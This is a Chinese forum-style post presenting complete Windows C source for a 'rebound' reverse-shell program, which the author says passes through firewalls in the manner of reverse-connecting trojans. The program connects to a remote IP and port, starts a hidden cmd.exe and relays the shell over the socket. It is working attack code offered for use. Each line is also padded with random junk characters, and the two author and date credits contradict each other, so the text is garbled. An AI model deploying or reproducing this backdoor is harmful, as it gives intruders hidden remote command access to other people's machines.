这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z`Wt%tL(
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/* ============================== )}v3q6?_
Rebound port in Windows NT )EM7,xMz
By wind,2006/7 f7urJ'!V
===============================*/ ^?"\?M1
#include M5L{*>4|6
#include 66&EBX}
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#pragma comment(lib,"wsock32.lib") ,V]
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void OutputShell(); ,*id'=S
SOCKET sClient; F'8T;J7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >T3H qYX5W
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void main(int argc,char **argv) ~!iQ6N?PY
{ +YY8h>hj
WSADATA stWsaData; zR6siAV9
int nRet; pcS+o
SOCKADDR_IN stSaiClient,stSaiServer; SkNre$>t{
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if(argc != 3) ^)yTBn,
{ N^0uit
printf("Useage:\n\rRebound DestIP DestPort\n"); 34|a\b}
return; (P|~>k
} NtGn88='{
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WSAStartup(MAKEWORD(2,2),&stWsaData); h~Q)Uy5N(D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &O\(;mFc
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stSaiClient.sin_family = AF_INET; &<'n^n
stSaiClient.sin_port = htons(0); i7[uLdQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :VmHfOO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XJ0{
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printf("Bind Socket Failed!\n"); AF,BwLN
return; wmr-}Y!9u%
} lb'Cl 3H
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stSaiServer.sin_family = AF_INET; o/cjXun*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L *[K>iW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~=r^3nZR/J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !{^\1QK
{ O OFVnu
printf("Connect Error!"); 9X<OJT;3J
return; bBxw#_3A?E
} g\oSG)
OutputShell(); 3#kitmV
} g\A
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void OutputShell() \Xrw"\")j
{ w*j$uW6{
char szBuff[1024]; >ndJNinV
SECURITY_ATTRIBUTES stSecurityAttributes; '8FC<=+p[
OSVERSIONINFO stOsversionInfo; }S_oH9A
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w[Gh+L30=5
STARTUPINFO stStartupInfo; 72oWhX=M%
char *szShell; s0UFym8
PROCESS_INFORMATION stProcessInformation; c/W=$3
unsigned long lBytesRead; /G{_7cb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zRl~^~sY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Nf,Z;5e
stSecurityAttributes.lpSecurityDescriptor = 0; lw%?z/HDf
stSecurityAttributes.bInheritHandle = TRUE; e>'H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nHFrG
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &Jc_Fc(M
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rk2xKm^w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dP$GThGl
stStartupInfo.wShowWindow = SW_HIDE; oj.A,Fh
stStartupInfo.hStdInput = hReadPipe; z:Sigo_z[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {aKqXL[UP
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GetVersionEx(&stOsversionInfo); |rRO@18dA
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switch(stOsversionInfo.dwPlatformId) FwKj+f"
{ Ey{%XR+*;
case 1: 1iT\df
szShell = "command.com"; 23(=Xp3;>
break; >Y 1{rSk
default: K[\'"HyQ,X
szShell = "cmd.exe"; -u!qrJ*Z
break; stl 1QO(h
} c47")2/yO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^62|d
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send(sClient,szMsg,77,0); (oK^c-x
while(1) iyZZ}M
{ ylf[/='0K
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Sgb*tE)T
if(lBytesRead) U7mozHS,:9
{ PHg48Y"Nd
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); et,GrL)l
send(sClient,szBuff,lBytesRead,0); /e\{
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else `;,Pb&W~
{ p_*M:P1Ma4
lBytesRead=recv(sClient,szBuff,1024,0); ~d{.ng 4K
if(lBytesRead<=0) break; f"#m=_Xm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ? ]sM8Bd}
} 7fp(R&)1
} ,[p
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return; <BWkUZz\P|
}